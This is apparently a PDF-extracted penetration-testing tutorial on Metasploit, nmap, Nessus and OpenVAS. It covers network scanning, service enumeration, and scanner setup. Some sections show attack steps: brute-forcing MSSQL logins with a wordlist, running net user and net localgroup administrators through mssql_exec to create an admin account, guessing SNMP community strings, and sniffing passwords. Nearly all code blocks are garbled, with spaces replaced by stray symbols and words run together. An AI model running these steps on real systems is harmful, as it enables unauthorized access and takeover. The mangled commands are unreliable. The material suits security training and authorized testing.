We can use the db_nmap command to run a nmap scan against our targets and have the scan results storedin the database. If you also wish to import the scan results into dradis, you will have to export the scan resultsin XML format. If we want to create that automatically, we can pass the ’-oA <filename>’ option to nmap,which will create the three nmap outputs: XML, grepable, normal.

2.3.1 Importing Nmap Results into Metasploit

First we have to connect to the database:

When the scan is finished, we can issue the db_import to automatically save the XML file into metasploitdatabase:

If we don’t wish to import the results into dradis, we don’t have to create an XML file, so we can simply runthe db_nmap omitting the output flag:

Results of the imported nmap scan can be viewed with the db_hosts and db_services commands:

12

msf&>&nmap&+v&+sV&+oA&subnet&192.168.1.0/24&&&

12

>&db_connect&root:[email protected]/msf3&&

12345678

msf&>&db_import&subnet.xml[*]&Importing&'Nmap&XML'&data[*]&Importing&host&192.168.50.1[*]&Importing&host&192.168.50.100[*]&Importing&host&192.168.50.101[*]&Importing&host&192.168.50.106[*]&Successfully&imported&/home/eleanor/subnet.xml&&&

12

msf&>&db_nmap&+sS&+A&192.168.1.0/24&&&

Page 22: it Man Pages

We can also import nmap results into dradis - just choose Import, select the generated XML file.

2.3.2 Nmap: The TCP Idle Scan

The TCP Idle scan allows us to scan a target by spoofing the IP address of another host on the network. Forthis type of scan, we must first locate an idle host on the network that uses incremental IP IDs.

Let’s find out an idle host on the network:

We must set the RHOSTS and it’s a good idea to also set the THREADS to a higher number. The THREADSspecifies the number of concurrent threads scanning for an idle host.

123456789

1011121314151617181920212223242526272829303132

msf.>.hosts.Hosts=====.address.........mac................name..os_name..os_flavor..os_sp..purpose..info..commentsAAAAAAA.........AAA................AAAA..AAAAAAA..AAAAAAAAA..AAAAA..AAAAAAA..AAAA..AAAAAAAA192.168.1.1....00:16:0A:13:E9:B0192.168.1.100192.168.1.101..00:16:6F:3A:D4:C0........Unknown....................device192.168.1.106..08:00:27:E3:5B:D0........Unknown....................device....msf.>.services.Services========.host............port..proto..name............state...infoAAAA............AAAA..AAAAA..AAAA............AAAAA...AAAA192.168.1.1....80....tcp....http............open192.168.1.1....1900..tcp....upnp............closed192.168.1.100..9091..tcp....xmltecAxmlmail..open192.168.1.101..139...tcp....netbiosAssn.....open192.168.1.101..445...tcp....microsoftAds....open....Microsoft.Windows.XP.microsoftAds192.168.1.106..135...tcp....msrpc...........open....Microsoft.Windows.RPC192.168.1.106..139...tcp....netbiosAssn.....open192.168.1.106..445...tcp....microsoftAds....open....Microsoft.Windows.XP.microsoftAds192.168.1.106..9876..tcp....sd..............open...

123456789

1011121314

msf.>.use.auxiliary/scanner/ip/ipidseqmsf..auxiliary(ipidseq).>.show.options.Module.options.(auxiliary/scanner/ip/ipidseq):....Name.......Current.Setting..Required..Description...AAAA.......AAAAAAAAAAAAAAA..AAAAAAAA..AAAAAAAAAAA...INTERFACE...................no........The.name.of.the.interface...RHOSTS......................yes.......The.target.address.range.or.CIDR.identifier...RPORT......80...............yes.......The.target.port...SNAPLEN....65535............yes.......The.number.of.bytes.to.capture...THREADS....1................yes.......The.number.of.concurrent.threads...TIMEOUT....500..............yes.......The.reply.read.timeout.in.milliseconds...

Page 23: it Man Pages

We can see that the potential idle host can be 192.168.1.3. Now we can run the nmap idle scan with the -sIcommand line.

By using the idle host, we were able to discover a number of open ports on our target 192.168.1.1 systemwithout sending a single packet to the system.

2.3.3 Metasploit Port Scanning

In addition to nmap, metasploit also has several port scanners built into auxiliary modules. Scanners and mostother auxiliary modules use the RHOSTS option instead of RHOST. RHOSTS can take various input: IP ranges,CIDR ranges and line separated host list files.

By default, all scanner modules will have the THREADS value set to 1, which means that there will be only oneconcurrent thread while scanning. If you want to speed up your scans, you can set this value to highernumber.

We can see a list of port scanning tools if we enter the search portscan command:

Example of using a different port scanner:

123456789

1011

msf.>.use.auxiliary/scanner/ip/ipidseqmsf..auxiliary(ipidseq).>.set.RHOSTS.192.168.1.0/24RHOSTS.=>.10.1.1.0/24msf..auxiliary(ipidseq).>.set.THREADS.50THREADS.=>.50msf..auxiliary(ipidseq).>.run.[*].192.168.1.2's.IPID.sequence.class:.All.zeros[*].192.168.1.3's.IPID.sequence.class:.Incremental![*].Auxiliary.module.execution.completed...

12

msf..auxiliary(ipidseq).>.nmap.UPn.UsI.192.168.1.3.192.168.1.1...

123456789

101112131415

msf.>.search.portscan[*].Searching.loaded.modules.for.pattern.'portscan'....Auxiliary=========....Name........................Disclosure.Date..Rank....Description...UUUU........................UUUUUUUUUUUUUUU..UUUU....UUUUUUUUUUU...scanner/portscan/ack.........................normal..TCP.ACK.Firewall.Scanner...scanner/portscan/ftpbounce...................normal..FTP.Bounce.Port.Scanner...scanner/portscan/syn.........................normal..TCP.SYN.Port.Scanner...scanner/portscan/tcp.........................normal..TCP.Port.Scanner...scanner/portscan/xmas........................normal..TCP."XMas".Port.Scanner....

1234567

msf.>.use.auxiliary/scanner/portscan/synmsf.auxiliary(syn).>.set.INTERFACE.wlan0msf.auxiliary(syn).>.set.PORTS.80msf.auxiliary(syn).>.set.RHOSTS.192.168.1.0/24msf.auxiliary(syn).>.set.THREADS.50msf.auxiliary(syn).>.run...

Page 24: it Man Pages

2.4 Targeted Scanning

A targeted scan looks for a specific operating systems, services, program versions, or configurations that areknown to be exploitable.

2.4.1 Hunting for SMB

Metasploit can scan a network and attempt to identify versions of Microsoft Windows using smb_versionmodule, which is a file sharing module.

We have discovered a running Windows XP system without having to do a full scan of the network. This is agreat way to target hosts quickly and quietly that are likely to be more vulnerable when our goal is avoidbeing noticed.

2.4.2 Hunting for MSSQL

With metasploit we can do the UDP footprinting of MSSQL servers. The MSSQL server uses either the 1433TCP port or a random port - if the port is dynamically generated, it can be rather hard to figure out theMSSQL server to attack. But Microsoft uses the port 1434 UDP which allows us to pull quite a lot ofinformation about the SQL server including what port the TCP listens on. We can use the module mssql_pingto detect the MSSQL databases.

The scan will gather quite a lot of information, like the name of the machine and the TCP port the MSSQL isrunning on. From now on, we can use the scanner/mssql/mssql_login module to brute-force the password bypassing the module a dictionary file. You can also use FastTrack, Medusa or Hydra to do this.

12345678

msf,>,use,scanner/smb/smb_versionmsf,,auxiliary(smb_version),>,set,RHOSTS,192.168.1.0/24msf,,auxiliary(smb_version),>,set,THREADS,50msf,,auxiliary(smb_version),>,run,[*],192.168.1.166,is,running,Windows,XP,Service,Pack,3,(language:,English),[*],Auxiliary,module,execution,completed,,,

12345

msf,>,use,scanner/mssql/mssql_pingmsf,auxiliary(mssql_ping),>,set,RHOSTS,192.168.1.0/24msf,auxiliary(mssql_ping),>,set,THREADS,255msf,auxiliary(mssql_ping),>,exploit,,,

1234567

msf,>,use,scanner/mssql/mssql_loginmsf,,auxiliary(mssql_login),>,set,PASS_FILE,/pentest/exploits/fasttrack/bin/dict/wordlist.txtmsf,,auxiliary(mssql_login),>,set,RHOST,192.168.1.1msf,,auxiliary(mssql_login),>,set,THREADS,50msf,,auxiliary(mssql_login),>,set,verbose,falsemsf,,auxiliary(mssql_login),>,exploit,,,

Page 25: it Man Pages

Then we can also use the mssql_exec module to execute a certain command on the target system. We mustalso specify the password, which is a requirement for a successful login.

With the set CMD commands we added the user <user> and added him to the administrators group. At thispoint we have full control over the system.

2.4.3 Hunting for SSH

If we use SSH service (port 22), we can still gather as much information from it as possible with thessh_version module.

2.4.4 Hunting for FTP

FTP is a very insecure protocol that sends everything, including usernames and passwords in clear-text. Toscan our network for FTP servers, we can use the ftp_version module.

The scanner successfully identified the FTP server at 192.168.1.1. Now let’s see if this server allowsanonymous logins using the ftp/anonymous module.

1234567

msf+>+use+admin/mssql/mssql_execmsf+auxiliary(mssql_exec)+>+set+RHOST+192.168.1.1msf+auxiliary(mssql_exec)+>+set+MSSQL_PASS+passwordmsf+auxiliary(mssql_exec)+>+set+CMD+net+user+<user>+<pass>+/ADDmsf+auxiliary(mssql_exec)+>+set+CMD+net+localgroup+administrators+<user>+/ADDmsf+auxiliary(mssql_exec)+>+exploit+++

123456789

msf+>+use+scanner/ssh/ssh_versionmsf+auxiliary(ssh_version)+>+show+optionsmsf+auxiliary(ssh_version)+>+set+RHOSTS+192.168.1.1T192.168.1.100msf+auxiliary(ssh_version)+>+set+THREADS+50msf+auxiliary(ssh_version)+>+run+[*]+192.168.1.111:22,+SSH+server+version:+SSHT2.0TOpenSSH_5.8p1+DebianT1ubuntu3[*]+Auxiliary+module+execution+completed+++

12345678

msf++auxiliary(ssh_version)+>+use+scanner/ftp/ftp_versionmsf++auxiliary(ftp_version)+>+set+RHOSTS+192.168.1.0/24msf++auxiliary(ftp_version)+>+set+THREADS+50msf++auxiliary(ftp_version)+>+run+[*]+192.168.1.1:21+FTP+Banner:+'220+FTPd+1.6\x0d\x0a'[*]+Auxiliary+module+execution+completed+++

123456789

msf+>+use+scanner/ftp/anonymousmsf+auxiliary(anonymous)+>+set+RHOSTS+192.168.1.0/24msf+auxiliary(anonymous)+>+set+THREADS+50msf+auxiliary(anonymous)+>+show+optionsmsf+auxiliary(anonymous)+>+run+[*]+Scanned+256+of+256+hosts+(100%+complete)[*]+Auxiliary+module+execution+completed+++

Page 26: it Man Pages

We can see that the anonymous login is not possible.

2.4.5 SNMP Sweeping

With SNMP we can find a lot of information about a specific system. If Windows based devices are configuredwith SNMP, often times with the RO/RW community strings you can extract patch levels, services running, lastreboot times, usernames on the system, routes, and various other amounts of information that is valuable toan attacker.

If we can get the read/write SNMP community string for a Cisco router, we can download the router’s entireconfiguration, modify it, and upload it back to the router. Community strings are essentially passwords usedto query a device for information or to write configuration information to the device. So if we know thecommunity string, we can get quite a lot of information from the device.

The metasploit has an auxiliary module called scanner/snmp/snmp_enum that can do SNMP sweeps. Ascanner/snmp/snmp_login module will try a word list of community strings against a range of IPaddresses in order to find out the community string, which can allow a full compromise of the system.

We can see that we actually identified a host 192.168.1.2 that has SNMP enabled and since we guessed thecommunity string (password), we also get the information about the kernel, operating system andarchitecture.

2.4.6 Password Sniffing

In metasploit, there is a module psnuffle, which can sniff passwords off the wire - like dsniff. It supports thefollowing protocols: pop3, imap, ftp, HTTP GET.

1234567

msf+>+use+auxiliary/scanner/snmp/snmp_loginmsf++auxiliary(snmp_login)+>+set+RHOSTS+192.168.1.0/24msf++auxiliary(snmp_login)+>+set+THREADS+50msf++auxiliary(snmp_login)+>+run+[+]+SNMP:+192.168.1.2+community+string:+'public'+info:+'Linux+localhost+2.6.35V22Vgeneric+#35VUbuntu+SMP+Sat+Oct+16+20:45:36+UTC+2010+x86_64'+++

123456789

1011121314151617

msf+>+use+auxiliary/sniffer/psnufflemsf+auxiliary(psnuffle)+>+show+options+Module+options:++++Name+++++++Current+Setting++Required++Description+++VVVV+++++++VVVVVVVVVVVVVVV++VVVVVVVV++VVVVVVVVVVV+++FILTER++++++++++++++++++++++no++++++++The+filter+string+for+capturing+traffic+++INTERFACE+++++++++++++++++++no++++++++The+name+of+the+interface+++PCAPFILE++++++++++++++++++++no++++++++The+name+of+the+PCAP+capture+file+to+process+++PROTOCOLS++all++++++++++++++yes+++++++A+commaVdelimited+list+of+protocols+to+sniff+or+"all".+++RHOST+++++++++++++++++++++++yes+++++++The+target+address+++SNAPLEN++++65535++++++++++++yes+++++++The+number+of+bytes+to+capture+++TIMEOUT++++1++++++++++++++++yes+++++++The+number+of+seconds+to+wait+for+new+datamsf+auxiliary(psnuffle)+>+set+RHOST+192.168.1.1msf+auxiliary(psnuffle)+>+run+++

Page 27: it Man Pages

2.5 Writing Your Own TCP Scanner

Writing a scanner in metasploit is fairly easy. Some of the many metasploit scanner features are:

it provides access to all exploit classes and methodssupport is provided for proxies, SSL, and reportingbuilt-in threading and range scanningeasy to write and run quickly

Writing your own scanner is also useful during security audits. Let’s write a simple TCP scanner that willconnect to a host on a default port of 12345, which can be changed via module options at run time. Uponconnecting to the server, it sends ’HELLO SERVER’, receives the response and prints it out along with the IPaddress of the remote host.

Save the file into modules/auxiliary/scanner/ directory as simple_tcp.rb and load up msfconsole. Sincemodules are loaded at runtime, we have to restart the msfconsole to pick it up.

This simple scanner uses the Msf::Exploit::Tcp to handle the TCP networking, and the Msf::Auxiliary::Scannerexposes the various settings that are required for scanners within the framework. This scanner is configured touse default port of 12345 and upon connecting to the server, it sends a message "HELLO SERVER", receivesthe reply from the server, and then prints it to the screen along with the server IP address.

To test the module, we set up a netcat listener on port 12345 and pipe in a text file to act as the serverresponse:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

require0'msf/core'

class0Metasploit30<0Msf::Auxiliary

00000000include0Msf::Exploit::Remote::Tcp

00000000include0Msf::Auxiliary::Scanner

00000000def0initialize

0000000000000000super(

000000000000000000000000'Name'00000000000=>0'My0custom0TCP0scan',

000000000000000000000000'Version'00000000=>0'$Revision:010$',

000000000000000000000000'Description'0000=>0'My0quick0scanner',

000000000000000000000000'Author'000000000=>0'Your0name0here',

000000000000000000000000'License'00000000=>0MSF_LICENSE

0000000000000000)

0000000000000000register_options(

000000000000000000000000[

00000000000000000000000000000000Opt::RPORT(12345)

000000000000000000000000],0self.class)

00000000end

0

00000000def0run_host(ip)

0000000000000000connect()

00000000000000greeting0=0"HELLO0SERVER"0

00000000000000sock.puts(greeting)

0000000000000000data0=0sock.recv(1024)

0000000000000000print_status("Received:0#{data}0from0#{ip}")

0000000000000000disconnect()

00000000end

end

000

1

2

3

#0echo0"Hello0World!"0>0aaa.txt

#0nc0hlvnp0123450<0aaa.txt

000

Page 28: it Man Pages

Next, we load up msfconsole, select our module, set the parameters and run it to see if it works:

3 Vulnerability Scanning

A vulnerability scanner is an automated program designed to look for weaknesses in computers, networks andapplications. The program probes a system by sending data to it and analyzing the responses to enumerateany vulnerabilities present on the target by using its vulnerability database as reference. It’s worthmentioning that a vulnerability scanner can easily be fooled by misleading banners or inconsistentconfigurations on the target system.

Various operating systems tend to respond differently when sent particular network probes because of thedifferent networking implementations in use. These unique responses serve as a fingerprint that thevulnerability scanner uses to determine the operating system version. With the results it obtains, the scannerrepresents a report outlining any vulnerabilities detected on the system.

Vulnerability scanners generate a lot of traffic on a network and are easily detectable. If we want to remainstealth, we would have to check for vulnerabilities manually and not use the vulnerability scanner.

Vulnerability scanning will allow you to quickly scan a target IP range looking for known vulnerabilities. Herewe’ll look at some of the vulnerability scanning capabilities that the metasploit provides.

3.1 Useful Commands

There are a lot of commands we can use when scanning the targets and saving the results in a database. Notethat we must first connect to the mysql database for this commands to be meaningful. The commands are:

hostsList all the hosts in the database.

notesDisplay the notes of all the hosts in the database. The notes are valuable information that differentvulnerability scanners have found.

servicesDisplay the identified services on the target machines.

vulnsList all of the vulnerabilities stored in the database.

credsList all user credentials that the vulnerability scanners have gathered.

1234

msf(>(use(auxiliary/scanner/simple_tcpmsf(auxiliary(simple_tcp)(>(set(RHOSTS(192.168.1.1msf(auxiliary(simple_tcp)(>(run(((

Page 29: it Man Pages

3.2 Nexpose

NeXpose is a vulnerability scanner that scans networks to identify the devices running on them and performschecks to identify security weaknesses in operating systems and applications. The community edition ofNeXpose is free, but there’s also a enterprise edition available.

After installing NeXpose, we can access the NeXpose via web browser at https://127.0.0.1:3780. We canlogin by using the credentials we created during setup. After logging in, we get to the NeXpose main page,which is presented on the picture.

NeXpose interface in a web browser.

We picture presents the following tabs in the NeXpose interface:

AssetsDetails of computers and other devices on our network after they have been scanned.

ReportsVulnerability scan reports after they have been generated.

VulnerabilitiesDetails on discovered vulnerabilities.

AdministrationAllows us to configure various options.

3.2.1 Scanning the Target Network

Before we can run a vulnerability scan in NeXpose, we have to configure a site, which is a logical collection ofdevices (subnet, collection of servers, a single host). These sites can then be scanned by NeXpose.

To create a new site, click on New Site button in NeXpose home page and follow the wizard. First, we have toenter the name and description, then we have to add the target to scan, which can be a single host or asubnet.

Page 30: it Man Pages

Successfully created new site will look like the following picture. There we can also see the New ManualScan, which we have to click to actually start the scan.

The progress bar, which is showing the completeness of the scan.

We also have to generate a report, so that we can look at the scan results after the scan completes. Click onthe New Report in the Reports tab.

Enter the name of the report, and choose the NeXpose Simple XML Export, so that we will be able toimport the scan results into metasploit.

Page 31: it Man Pages

On the next subsequent window, we have to add the devices we want to include in the report by clicking onSelect Sites.

When clicking on Save, we have generated a new report format.

3.2.2 Nexpose in MSFConsole

We can run Nexpose on its own and import the scan results in the database that metasploit uses. But we canalso run nexpose scans directly from msfconsole like this:

Page 32: it Man Pages

Before running a scan against a target, we first need to connect to our server running NeXpose by using thenexpose_connect command.

Now that we are connected to our server, we can run a vulnerability scan right from within the metasploit:

After that we can run db_services and db_vulns to see the results.

3.3 Nessus

Metasploit’s nessus plugins lets you launch scans and pull information from nessus scans via the console, butwe’ll import nessus scan results independently.

3.3.1 Installation and Configuration

First we need to install the nessus:

123456789

101112131415161718192021222324252627282930313233

msf.auxiliary(crawler).>.load.nexpose..____............._....._._____..._..._.....__..__|.._.\.__._._.__.(_).__|.|___..|.|.\.|.|.___\.\/./_.__...___..___..___|.|_)./._`.|.'_.\|.|/._`.|.././..|..\|.|/._.\\../|.'_.\./._.\/.__|/._.\|.._.<.(_|.|.|_).|.|.(_|.|././...|.|\..|..__//..\|.|_).|.(_).\__.\..__/|_|.\_\__,_|..__/|_|\__,_|/_/....|_|.\_|\___/_/\_\..__/.\___/|___/\___|...........|_|...................................|_|..[*].NeXpose.integration.has.been.activated[*].Successfully.loaded.plugin:.nexposemsf.auxiliary(crawler).>.help.NeXpose.Commands================.....Command...................Description....XXXXXXX...................XXXXXXXXXXX....nexpose_activity..........Display.any.active.scan.jobs.on.the.NeXpose.instance....nexpose_command...........Execute.a.console.command.on.the.NeXpose.instance....nexpose_connect...........Connect.to.a.running.NeXpose.instance.(.user:pass@host[:port].)....nexpose_disconnect........Disconnect.from.an.active.NeXpose.instance....nexpose_discover..........Launch.a.scan.but.only.perform.host.and.minimal.service.discovery....nexpose_dos...............Launch.a.scan.that.includes.checks.that.can.crash.services.and.devices.(caution)....nexpose_exhaustive........Launch.a.scan.covering.all.TCP.ports.and.all.authorized.safe.checks....nexpose_report_templates..List.all.available.report.templates....nexpose_scan..............Launch.a.NeXpose.scan.against.a.specific.IP.range.and.import.the.results....nexpose_site_devices......List.all.discovered.devices.within.a.site....nexpose_site_import.......Import.data.from.the.specified.site.ID....nexpose_sites.............List.all.defined.sites....nexpose_sysinfo...........Display.detailed.system.information.about.the.NeXpose.instance...

12

msf.>.nexpose_connect.eleanor:[email protected]...

12

msf.>.nexpose_discover.192.168.1.101...

Page 33: it Man Pages

Then we need to add a new user using the nessus-adduser command, which will ask us for authenticationmethod, which can be performed by several means, but we’ll choose password. The next question will ask usabout restricting the user account. When the user account us used across an enterprise, a user can berestricted and only allowed to scan specific IP addresses. For most users, this will be left blank allowing to scananything.

Next we also need to generate a certificate with nessus-mkcert to encrypt the traffic between the client andthe server.

We also need to register on the nessus webpage to receive an activation code. Then we just need to activatethe nessus:

Next, we need to update the plugins. Each plugin is written to test for a specific vulnerability. These can bewritten to actually exploit the vulnerability or just test for known vulnerable software versions. Plugins can bewritten in most any language but are usually written in Nessus Attack Scripting Language (NASL). NASL isNessus’ own language, specifically designed for vulnerability test writing. NASL plug-ins typically test bysending very specific code to the target and comparing the results against stored vulnerable values. There area few built-in plug-ins that do not use NASL. These are C and Perl scripts to perform special purposes that can

12

#$apt(get$install$nessus$$$

123456789

101112131415161718192021222324252627282930313233

#$nessus(adduserUsing$/var/tmp$as$a$temporary$file$holder$Add$a$new$nessusd$user(((((((((((((((((((((($$Login$:$eleanorAuthentication$(pass/cert)$[pass]$:$passLogin$password$:Login$password$(again)$:$User$rules((((((((((nessusd$has$a$rules$system$which$allows$you$to$restrict$the$hoststhat$eleanor$has$the$right$to$test.$For$instance,$you$may$wanthim$to$be$able$to$scan$his$own$host$only.$Please$see$the$nessus(adduser(8)$man$page$for$the$rules$syntax$Enter$the$rules$for$this$user,$and$hit$ctrl(D$once$you$are$done$:(the$user$can$have$an$empty$rules$set)$$Login$$$$$$$$$$$$$:$eleanorPassword$$$$$$$$$$:$***********DN$$$$$$$$$$$$$$$$:Rules$$$$$$$$$$$$$:$$Is$that$ok$?$(y/n)$[y]$yuser$added.$$$

12

#$nessus(mkcert$$$

12

#$/opt/nessus/bin/nessus(fetch$((register$<registration_code>$$$

Page 34: it Man Pages

not easily be done in NASL. Among these is the Services plug-in which identifies port-to-program mappings.

Plug-in updates should be done frequently. New vulnerabilities are being discovered and disseminated all thetime. Typically after a new vulnerability is released to the public, someone in the Nessus community writes aNASL plug-in, releases it to the public and submits it to www.nessus.org. It is then reviewed by thedevelopers and added to the approved plug-in list. For high risk, high profile vulnerabilities a plug-in is oftenreleased the same day the vulnerability information is publicly released.

To update the plugins, we need to use the nessus-update-plugins command:

Okay, now we have created the user, updated all the plugins, but there really isn’t a daemon to connect to.The simplest way to start a daemon is to issue the following command, which will load all the plugins thattakes quite a lot of time.

We can see that the nessus server is listening on port 1241:

In order to connect to the daemon, we must use a client. There are three clients that we can use:

Native Unix GUIThis is installed at server install time. Just run the NessusClient command and the GUI will start.

Command Line ClientWe need to install a separate program nessuscmd.

NessusWXThis is for Windows users only

If we start native unix nessus client GUI, it will look something like that:

Native Unix Nessus Client

12

#$nessus)update)plugins$$$

12

#$nessus)service$)D$$$

123

#$netstat$)landtp$|$grep$nessustcp$$$$$$$$0$$$$$$0$0.0.0.0:1241$$$$$$$$$$$$0.0.0.0:*$$$$$$$$$$$$$$$LISTEN$$$$$$26114/nessusd$$$

Page 35: it Man Pages

We should login with the previously created username. The connection between the client and server will beencrypted.

3.3.2 Using Nessus

The most powerful feature of nessus is it’s plugins. The choice of plugins is critical to the success of a scan -most plugins are written very well and rarely trigger false positives or negatives, but a few are not.

Main nessus GUI interface

Page 36: it Man Pages

3.3.2.1 Safe Plugins

Some plugins are categorized under "Denial of Service" category. These plugins will actually perform a DOSattack and crash systems that have these problems - they shouldn’t be blindly run on productionsystems. They won’t cause long term damage, but at least reboot will be required.

It’s always a good idea to enable Safe-Checks. Safe-checks disable the dangerous parts of safe-checkcompatible plugins and causes them to not actually cause damage to the target, but gut collect versionnumbers from banners. Safe-checks might cause false positives or false negatives. The valuable trade off isthat they should not crash a machine.

Enable the safe-checks.

Page 37: it Man Pages

On the attached picture we can also see a bunch of other options, like the number of hosts to test at the sametime. This is useful when a range of hosts to scan is given. And number of checks to perform at the sametime, which means the number of plugins being applied to the victim at the same time. We can also choosehow we’ll do the port scan, via nessus SYN/TCP/SNMP scanner, or via some other scanning techniques.

To perform a simply noisy scan on a non-production system, enabling all plugins is the best choice. If youknow that you’re be targeting Windows machine, then you can deselect most of the plugins.

3.3.2.2 Port Scanning

Port scanning identifies the active ports for the victim host. Since each port is tied to a specific application,nessus only runs the appropriate tests for only that port/application. Since often ports are changed from theirdefault port numbers to hide them, nessus has a plugin services, which attempt to identify the programrunning on each port. Once the program is identified, only the appropriate plugins are run against it.

Nessus has several port scanning techniques. There’s a built in wrapper for nmap, but there’s also an internalscanner and a custom ping scan. Port scanning is very dependent on the situation. For a simple scan, theinternal SYN scan using the default parameters with pings is sufficient.

3.3.2.3 Identify and Scan Targets

The final task is to identify targets. The target can be a single IP address or an IP range.

Page 38: it Man Pages

Then we just have to Execute the scan and wait for the results.

After the scan is complete, we can see the output in the Results tab. There we can find found vulnerabilitiesand severity levels.

3.3.3 Importing Results Into the Metasploit

Let’s import our results into the metasploit. First, we must download the report and save results to the harddrive. It will be saved with the .nbe extension. This can be imported in the metasploit. Start msfconsole andimports the results using db_import command followed by the filename:

To verify that the scanned host and vulnerability data was imported properly, check with db_hosts. Thefollowing command will print the target IP address, number of services detected and number of vulnerabilitiesfound by nessus:

3.3.4 Scanning With Nessus From Metasploit

If we want to use nessus directly from the metasploit, we need to use the nessus plugin:

123

msf'>'db_connect'root:[email protected]/msf3msf'>'db_import'report.nbe'''

12

msf'>'hosts';c'address,svcs,vulns'''

12345678

msf'>'load'nessus[*]'Nessus'Bridge'for'Metasploit'1.1[+]'Type'nessus_help'for'a'command'listing[*]'Creating'Exploit'Search'Index';'(/root/.msf4/nessus_index)';'this'wont'take'long.[*][*]'It'has'taken':'6.697966'seconds'to'build'the'exploits'search'index[*]'Successfully'loaded'plugin:'nessus'''

Page 39: it Man Pages

The nessus_help will list all the commands that nessus plugin supports. Before starting a scan, we must firstauthenticate to the nessus server using the nessus_connect:

Then list the available policies:

We need to choose the policy we would like to use for the scan, then launch a new scan withnessus_scan_new followed by the policy number, name for the scan, and target IP:

While the scan is in progress, we can see the status by running the nessus_scan_status:

After the scan has completed, we can list the available scan reports with the nessus_report_list. If we wouldlike to import the report into the metasploit, we need to identify the ID of the report and enternessus_report_get followed by the report ID.

3.4 OpenVas

1234

msf(>(nessus_connect(root:[email protected]:8834(ok[*](Connecting(to(https://127.0.0.1:8834/(as(root[*](Authenticated(((

123456789

10

msf(>(nessus_policy_list[+](Nessus(Policy(List(ID((Name((((((((((((((((((((((((CommentsPP((PPPP((((((((((((((((((((((((PPPPPPPPP4((External(Network(ScanP3((Internal(Network(ScanP2((Web(App(TestsP1((Prepare(for(PCI(DSS(audits(((

12

msf(>(nessus_scan_new(P4(mynetwork(192.168.1.191(((

1234567

msf(>(nessus_scan_status[+](Running(Scans(Scan(ID(((((((((((((((((((((((((((((((((((((((((((((((Name(((((((Owner((((Started((((((((((((Status(((Current(Hosts((Total(HostsPPPPPPP(((((((((((((((((((((((((((((((((((((((((((((((PPPP(((((((PPPPP((((PPPPPPP((((((((((((PPPPPP(((PPPPPPPPPPPPP((PPPPPPPPPPPc0fcef66P281bP4e84P532aP619510eb001ec2b9ad43c1350738((mynetwork((root(((((22:44(Oct(12(2011((running((0((((((((((((((1(((

123456789

10111213141516

msf(>(nessus_report_list[+](Nessus(Report(List(ID((((((((((((((((((((((((((((((((((((((((((((((((((((Name(((((((Status(((((DatePP((((((((((((((((((((((((((((((((((((((((((((((((((((PPPP(((((((PPPPPP(((((PPPPc0fcef66P281bP4e84P532aP619510eb001ec2b9ad43c1350738((mynetwork((completed((23:08(Oct(12(2011([*](You(can:[*](((((((((Get(a(list(of(hosts(from(the(report:((((((((((nessus_report_hosts(<report(id>((msf(>(nessus_report_get(c0fcef66P281bP4e84P532aP619510eb001ec2b9ad43c1350738[*](importing(c0fcef66P281bP4e84P532aP619510eb001ec2b9ad43c1350738[*](192.168.1.191(((Done![+](Done(((

Page 40: it Man Pages

3.4.1 Gentoo Linux

OpenVas is a vulnerability assessment system just like nessus. First we have to install it:

Next, we have to add a user and create a certificate, much the same way as with nessus:

To update to the latest NVT’s (in nessus they are called plugins) from openvas database run:

Start the OpenVas daemon:

We can see that the daemon is running on port 9390:

Then start the openvas client, which is essentially the same as nessus client, except that it’s connecting to adifferent port and using different plugins/NVTs:

3.4.2 Backtrack Linux

First choose the following from the Menu:

OpenVas Adduser: add a new userOpenVas Mkcert: create a certificateOpenVas NVT Sync: sync the pluginsOpenVas Check Setup: check if everything was setup correctlyOpenVas Scanner: this will load all the pluginsConsole:

12

#$apt(get$install$openvas$$$

123

#$openvas(adduser#$openvas(mkcert$$$

12

#$openvas(nvt(sync$$$

12

#$openvasd$$$

123

#$netstat$(landtp$|$grep$openvastcp$$$$$$$$0$$$$$$0$0.0.0.0:9390$$$$$$$$$$$$0.0.0.0:*$$$$$$$$$$$$$$$LISTEN$$$$$$12306/openvasd$$$

12

#$OpenVAS(Client$$$

Page 41: it Man Pages

Now open a web browser and type http://127.0.0.1:9392/. The login screen will look like the followingpicture.

123456789

101112131415161718

;,generate,a,client,certificate#,openvas<mkcert<client,<n,om,<i,;,rebuild,the,NVT,database#,openvasmd,<<rebuild,;,set,openvas,administrator#,openvasad,<c,'add_user',<n,admin,<r,Admin,;,start,openvas,manager#,openvasmd,<a,127.0.0.1,<p,9390,;,start,openvas,administrator#,openvasad,<a,127.0.0.1,<p,9393,;,start,greenbone,security,assistant#,gsad,<<http<only,<<listen=127.0.0.1,<p,9392,,,,,

Page 42: it Man Pages

Main Greenbone security assistant web page.

Page 43: it Man Pages

There’s also another client, the Greenbone Security Desktop:

3.4.3 Administration

On the left side we have a bunch of links. If we click on the NVT Feed, we can update the NVT database.

Page 44: it Man Pages

3.4.4 Configuration

Let’s start with scan configurations. Openvas comes with five template configurations, each of which doessomething special.

We can create our own scan config, if we want to customize it. We are presented with a bunch of options thatwe can customize. This can be very helpful, so that we’re not throwing a lot of futile windows checks at a linuxserver and the other way around.

Page 45: it Man Pages

There is also a scheduling capability, where we can set to scan our network once a week after business hours.With this, we can compare week to week results to detect any anomalies that may have appeared.

The Escalator can trigger an event based on the completion of the scan. We can configure it to send an emailto administrator when a scan has finished running.

In the Targets option, we can configure the target to be scanned. The Hosts can be a single IP address or arange of IP addresses, whereas a Port Range can be a comma-separated port numbers or ranges. If the PortRange is not specified, then all of the ports found in /usr/local/share/openvas/openvas-services are used -there are around 8000 ports. If we wish to use credentials we can also choose them now.

After this, we have to create a New Task. This is the point where we put it all together and start scanning.

Page 46: it Man Pages

Let’s add a new task, and hit the Play icon. Then we can look at Tasks to see the currently running tasks.

We can also click on the Details icon in the preceding picture, to get all the details of the scan: how completeis the scan, and which vulnerabilities have been found so far.

We can also export results from that view.

Page 47: it Man Pages

3.5 Specialty Vulnerability Scanners

If we would like to scan for a specific vulnerability across a network, we can use metasploits’s many auxiliarymodules that can help us accomplish this.

3.5.1 SMB Scanning

3.5.1.1 Understanding NetBIOS

SMB (or CIFS) operates as an application-layer network protocol used to provide shared access to files,printers, serial ports, etc. SMB runs on top of the following network layers:

directly over TCP: 445via NetBIOS API, which can run on several ports:

on UDP: 137, 138on TCP: 137, 139

With NetBIOS, machines don’t use IP addresses, but use names to differentiate between other machines.Machines on the network are working in WORKGROUPS, where they differentiate between other machines witha name. Therefore each machine in a workgroup must have a different name. There are two approaches toensure that doesn’t happen:

